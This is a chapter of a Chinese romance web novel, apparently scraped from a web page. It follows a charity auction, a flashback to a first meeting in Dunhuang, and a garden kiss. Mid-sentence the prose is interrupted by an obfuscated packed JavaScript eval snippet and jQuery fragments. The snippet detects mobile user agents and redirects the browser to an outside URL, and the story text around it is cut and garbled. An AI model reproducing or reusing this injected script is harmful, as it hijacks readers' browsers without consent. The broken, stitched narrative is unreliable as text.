43. 第 43 章

作品:《分手后还能蹭饭吗[破镜重圆]

    最后一件藏品以三百二十万的价格定槌,台下掌声浮动,目光不约而同地落到前排那人身上。


    男人身形挺拔,将近一米九的身高使他无论穿什么衣服都像是海报上的模特,令无数女人心驰神往。


    顶光灯隐隐绰绰,从后往前看,偶尔能瞧见他分明利落的侧脸,以及点缀在鼻梁上的那颗近乎妖异的小痣。


    沈以安捏住高脚杯的骨节逐渐收拢,灯光忽地熄灭,整个一楼宴会厅陷入黑暗之中,只剩下展柜前星星点点的蓝绿色微光,像夜晚海上的维多利亚多管水母,梦幻而触之不及,仿佛要把他拉回那段最珍贵的时光。


    他第一次见晚霁是在明媚的午后。


    女孩纤细高挑,却偏要把自己折成小小一团,蹲在研究院小教室的窗户下面,支起耳朵听里面讲课,手上还拿了本笔记本,密密麻麻写了很多字,大概是她这段时间偷听来的心得。


    从他的角度看过去,只能注意到一头利落的齐耳短发,露出莹白的耳垂,下巴尖尖的。


    他站在后面没出声,女孩也一直聚精会神,没注意到后面的动静。等里面的声音停了,她才转过头想换个姿势。


    这一转头就吓了一跳。什么时候后面多了个陌生男人!她本就微微绷起的脚尖差点没稳住,往后栽去。手掌无意间撑到了窗棂,年久失修的窗户发出吱呀一声,引得教室里目光齐齐往这边来。


    “谁在那儿?”


    她眉头微蹙,沈以安也看得出她是吓着了,抱歉地笑笑,正想绅士地扶她起来。


    她却并没有接受这份好意,随意拍了拍手上的灰,迅速将笔盖合上,插进线圈本里,站起。


    她往后退了一步,后背贴上墙根,整个人像纸糊一样的薄薄一片。


    起初沈以安还没反应过来她为何突然靠墙,直到窗户里探出一个脑袋,“以安,是你啊。我怎么老觉着刚刚看到那小丫头了?”


    沈以安温和地笑了下,目光似有若无地落到墙根。


    原来是把他当作背锅的。狡黠的小狐狸。


    见他的目光迟迟未动,差点就要露馅。


    女孩原本平静的脸色变了,圆圆的杏眼微微睁大,一眨不眨地望着他,鼻尖皱了下,似乎在请求自己帮她遮掩过去。


    栽赃的小狐狸摇身一变,成了乖巧无害的兔子。


    真是善变。


    沈以安的目光移回窗台,“莫老应当是看错了,刚刚只过去一只脚滑的野兔。”


    听到脚滑二字,女孩眉心一跳,分明有些恼怒,却为了当下的情形不得不忍耐,依旧维持着一副温和谦逊的笑脸。但难保她内心已经把他骂了个狗血淋头。


    “野兔?我们研究院生态这么好了吗,竟还有野兔过来。”莫骁挠了挠斑白的头顶,又接着回去讲课了。


    沈以安绕过窗户,竟突然升起同她一起站在这里偷听的兴致,“为什么不进去?”


    “他说徒弟满了,不收我。”语气有点失落。


    听她口音不像是敦煌本地人,清丽婉转,倒像是南方来的。


    “他确实收了太多人。”他顿了一顿,“不过,听说最近有一批学生打算出国深造,教室里会空出几个位置。”


    “这样啊。”她显然不太相信自己,脸上却丝毫没有表露出来,仍旧在笑。


    沈以安失笑,有种自己的善意被别人质疑的感觉,但他一向很有耐心,“莫骁是个容易心软的人,又爱屋及乌。他的妻子钟爱养花,如果有什么特别的花种,她应当会很开心。”


    他竟也会帮人走捷径。话说出口他就被自己惊到了,他分明不是什么多管闲事的人,何况是这样一个萍水相逢的小姑娘。


    也许是感同身受吧。


    “谢谢。”半晌,女孩抬起头,眼睛里闪过星星点点的笑意,这次是真心的。


    “课上完了,你还不走吗?”


    “脚麻了。”


    沈以安终于忍不住闷笑几声,虽然对方并没有开玩笑的意思,可他就是觉得这女孩有趣又可爱。


    灯光重新亮起的瞬间,回忆如海水退潮般消散,他望向台上一袭红裙的女人,褪去了当年的青涩和偶尔流露出的伤怀,更加稳重。


    连同那头利落的短发也不见,变成了成熟端庄的浓密卷发,一切都像泡影般消失,再怎么样也抓不住。


    他却依旧站在原地,远远地眺望她。


    她是风雪里浇灌出来的芨芨草,顽强坚韧,外表的棱角都被世俗磨平,展现在众人面前的永远是恰到好处的温柔。


    可只有真正走进她内心才知道,那里始终坚硬如斯,绝不叫任何人轻易折断。


    他愿意做守护者,时时刻刻维护好她的假面。他愿意隔三千里疆域奔赴而来,就此停息开泊的船舫。


    他愿意给自己套上一层牢固的枷锁,以他从小厌恶的名义陪她跨进那座殿堂。


    他们曾有六年。


    任何人不敢轻易遗忘的时间,也轮不到任何其他人介入。


    他伸手覆上腕间的那处冰凉,拇指怜爱地摩挲着光滑的水晶凹面,万千灯火明亮被隔绝在外,他眼底深沉,似风雪夜里的一簇火光,即将被更深的黑暗笼罩、掐灭。


    晚霁同岑桉一起来到台上,以岑氏的名义表达对公益事业的热枕,现场掌声不断,后排的媒体闻讯而动,镜头对准了她和岑桉,记录下这一刻。


    她自然是笑着的,沉稳优雅,挺直的背脊昭示着她此刻的神经紧绷。她厌恶,但也能做得很好。


    只是感觉台下的黑暗里总有一双眼睛盯着她看,锐利而充满危险,她下意识去找,却只是徒劳,那种无形的压力好像只有一瞬,便完全消逝在璀璨的闪光灯里。


    岑桉垂头看她:“怎么了?”


    晚霁很轻地摇头:“没事,就是这光有点晃眼。”


    别墅位于半山腰上,清风吹拂,会带来一阵阵幽香,大抵是花圃里栽种的某些鲜花。幽香融合进红酒的甘醇,一呼一吸间,流淌着惑人的沉醉。


    只是这沉醉还没到让人驻足的地步。


    岑桉一向不喜这类酒会,平常蓝岸的应酬都是交给宋明朗处理,今天也不例外。他同Arthur在会客厅简单告别,便同晚霁从侧门出去。


    剩下的事都交由张秘书处理。


    只是宴会厅里那些巴不得凑上来的人要失望了,兜里的真金白银出去不少,却还没有一个人来得及同岑桉打照面。


    侧门只有Arthur并几个侍应生知道,一路穿过花圃回廊都没什么人打扰,畅通无阻。


    晚霁很少穿高跟鞋,走起路来有些费劲,她个子已是一米七,平常穿平底鞋就已足够,只是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381647|198020||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    站在岑桉旁边还是显得娇小一团。也不知道他吃什么长得这样高大。


    他们并不是并肩走的。


    晚霁不认识路,只能跟在岑桉后面,他走一步,她就跟着走一步。万幸他今天因为喝酒的缘故,走得很慢,让她不至于跟不上。


    只是一路上都没有说话。


    月光洒在花园前的石子路上,折射出清透的亮光,岑桉的影子也修长,在她面前拽出长长的一道,被她鞋尖慢慢碾过。晚霁此刻也顾不上提裙摆,任由暗红玫瑰拖曳在干净的石子路上,亦步亦趋。


    “你们很早就认识了。”半晌,他终于开口。


    说的是沈以安。


    晚霁点了下头,又反应过来她现在站在背后,他是看不到自己点头的,于是极轻地嗯了一声,“在敦煌认识的。”


    晚风又轻又凉,袭卷出馥郁的幽兰花香,将她温柔地包裹住。她是个心思极其细腻,称得上敏感的人,几乎是话语落下的瞬间,就感知到他的不对劲。


    联想到之前几次提及沈以安的时候,他那种隐隐不耐的情绪。


    晚霁居然想也没想就开口解释:“以安哥是个很好的人,我和他只是……唔……”


    只是朋友……这几字还没说完,她忽地被掌心蒙住眼睛,星星点点的光亮顿时不见,眼皮上传来温热的、带着微微粗糙的触感,手心的薄茧蹭过她的脸颊,几乎把她整张脸蒙在里面。


    很没有安全感的姿势。


    还没等她轻呼出声,岑桉的唇已经覆了上来,冰凉的、带了些酒液的甜腻,他开始吻她,在一片盛放的花圃前面,甚至于几步之遥的窗户里依稀听得到说话声。


    他就这样毫无顾忌地吻她,另一只手慢慢游移到她的后背,托着她不让躲避。大舌轻易地撬开她的唇瓣,染上她刚补涂过的唇釉,温柔地横冲直撞。


    晚霁感觉唇上一阵酥麻,仿佛触电一般,且这种感觉竟然很快蔓延到全身,直到脚尖都微微绷紧,她的腿完全软了下去。要不是他还托住,她肯定要软绵绵地倒下去。


    “岑桉……”她轻轻喊他的名字,不敢太过大声,生怕有人从这边经过。手掌不知道搁在什么地方才好,只能凭着自己的意识去推他胸口,偏生他该有的肌肉一点也不少,像堵墙一样动都不动。


    人一旦被剥夺视觉,其他的一切感官都会无限放大。唇齿相交,晚霁嗅到了他身上的雪松香气,分明是凛冽地、让人清醒的味道,此刻却像某种掰开后的禁果,迫不及待地引诱她沉沦。


    她感觉舌尖被人弄得发麻发涨,掌心覆盖下的眸子变得湿漉漉的,眼角勾出薄红,偏偏还倔强着不肯闭上,让人看见了会忍不住想欺负的那种。


    身体的某些地方也在轻微变化着,她强撑着拢紧双腿,高跟鞋的鞋尖却被他双脚牢牢禁锢着,没有半分动弹的余地。


    她不想承认,自己居然被吻得很舒服。


    “我不想听你们的过去。”岑桉手掌微微用力,几乎覆住了整截后腰,“接吻的时候认真点,知道吗?”


    他唇瓣含住那一声低吟,再次毫无顾忌地深入。花圃旁的小型喷泉正往上涌,水声盖过了一切,包括那轻微的开门声。


    岑桉懒散地朝二楼露台看过去,目光同另一人不期而遇,却丝毫没有避开,眼底散不开的欲望里勾出几分挑衅。